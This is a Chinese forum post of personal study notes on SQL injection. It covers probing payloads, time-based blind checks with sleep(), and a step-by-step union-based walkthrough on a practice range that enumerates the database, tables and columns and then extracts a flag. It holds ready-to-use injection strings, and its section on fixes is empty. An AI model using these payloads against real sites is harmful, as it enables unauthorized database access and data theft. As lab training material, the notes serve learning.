二刷sql

量如江海   ·   发表于 2023-02-19 17:53:56   ·   学习杂记
SQL注入漏洞原理:用户的传参会当作SQL代码进行执行.

SQL注入-扩展:单引号之外的,都是代码


查找SQL注入漏洞的简单方法:

测试SQL注入方法:
            and 1=1
                替换1=1的操作
                FIND_IN_SET(id,1)
                instr(1,id) 
                -1=-1
                9>7
                9-1=8
            in (1)
            加减乘除法
            + - * / 运算符
            id=2-1 => 1的页面? 他一定存在!!
            id=1*2
            id=4/2
            id=1%2B1 (传参到数据库之间发生了我们不知道的事情)
                GET URL编码的问题 + %20 都当作空格
                http://www.jsons.cn/urlencode/
            本地测试一下

            延时法:页面怎么都不变,那你怎么知道你传的东西当代码执行了?
                注入类型:延时盲注
                and sleep(10)
                很不正常,无论你传入啥玩意返回都一样

id=1%20and%20FIND_IN_SET(id,1)



id=1%20and%20FIND_IN_SET(id,2)



id=1%20and%20instr(1,id)



id=1%20and%20instr(2,id)



测试的基本方法:

判断 -> 猜字段数 -> 找显示位 -> 查库名 -> 查表名 -> 查字段名 -> 出数据


常见的SQL注入漏洞修复方法:



靶场实操

一套完整的显错联合查询SQL注入:
判断 -> 猜字段数 -> 找显示位 -> 查库名 -> 查表名 -> 查字段名 -> 出数据

判断是否存在sql注入

id=1 and 1=1 — qwe

id=1 and 1=2 — qwe



确定存在后猜字段数

id=1 and 1=1 order by 1,2,3 — qwe



找显示位

id=1 and 1=2 union select 1,2,3 — qwe



查库名

id=1 and 1=2 union select 1,2,database() — qwe ——————


查表名

id=1 and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1 — qwe



查字段名

要注意查表名要有单引号 id=1 and 1=2 union select 1,2,column_name from information_schema.columns where table_name=’error_flag’ and table_schema=database() limit 0,1 — qwe





两个字段,那就找数据了 要注意查字段不用单引号 id=1 and 1=2 union select 1,2,flag from error_flag limit 0,1 — qwe


剩下的就是传参的不同啦,要注意 id=1’ and 1=2 union select 1,2,flag from error_flag limit 1,1 — qwe



id=1’) and 1=2 union select 1,2,flag from error_flag limit 2,1 — qwe



id=1”) and 1=2 union select 1,2,flag from error_flag limit 3,1 — qwe


打赏我,让我更有动力~

0 条回复   |  直到 2023-2-19 | 514 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.